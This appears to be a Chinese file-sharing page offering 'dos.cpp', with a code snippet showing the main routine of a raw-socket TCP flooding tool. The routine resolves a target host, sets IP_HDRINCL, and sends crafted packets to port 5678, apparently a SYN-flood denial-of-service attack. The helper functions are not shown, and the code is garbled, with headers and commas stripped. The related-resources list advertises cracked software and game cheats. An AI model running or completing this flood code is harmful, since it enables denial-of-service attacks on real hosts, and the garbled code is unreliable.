资源简介
dos.cpp
代码片段和文件信息
/******************** DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT 5678
#define LOCALPORT 8888
void send_tcp(int sockfdstruct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addrint len);
int main(int argcchar **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
printf(“Usage:%s hostname\n“argv[0]);
exit(1);
}
bzero(&addrsizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1]&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr“HostName Error:%s\n“hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
sockfd=socket(AF_INETSOCK_RAWIPPROTO_TCP);
if(sockfd<0)
{
printf(“Socket Error:%d\n“ errno);
exit(1);
}
setsockopt(sockfdIPPROTO_IPIP_HDRINCL&onsizeof(on));
setuid(getpid());
send_tcp(sockfd&addr);
}
相关资源
- 《Linux程序设计》第四版pdf高清电子版
- C++ Primer mobi
- 使用 IBM Rational Systems Developer 和 Rati
- VC编程助手2010破解版(原名VA_X_10.6.
- Linux操作系统下C语言编程从零开始
- 一个C++实现的源代码行数统计工具
- easySize使用方法和代码
- TLV解析算法
- C++ 从入门到精通明日科技光盘 百度云
- C和C++.rar
- consts.cpp
- 银行管理系统.cpp
- VC++外挂框架.rar
- VisualC++网络高级编程.(人民邮电.陈坚
- C++黑客编程揭秘与防范.pdf
- BombGoldFlower.cpp
- c++万能外挂.txt
- ZhajingHua.cpp
- C++AMP.pdf
- c++程序设计语言英文第三版.pdf
- Visual_assist_X_for_VC6.0破解版.rar
- 《C语言程序设计》谭浩强.pdf
- c++辅助源码.rar
- GBT28169-2011嵌入式软件C语言编码规范
- 用MFC实现的图像处理源代码总集
- C语言程序设计(郑莉)源码.rar
- zw_MFC编写一个简单的登录对话框(连
- 鸡啄米:VS2010MFC编程入门教程.pdf
- ATM源代码用c++文件读写.zip
- C语言写的文件传输系统
评论
共有 条评论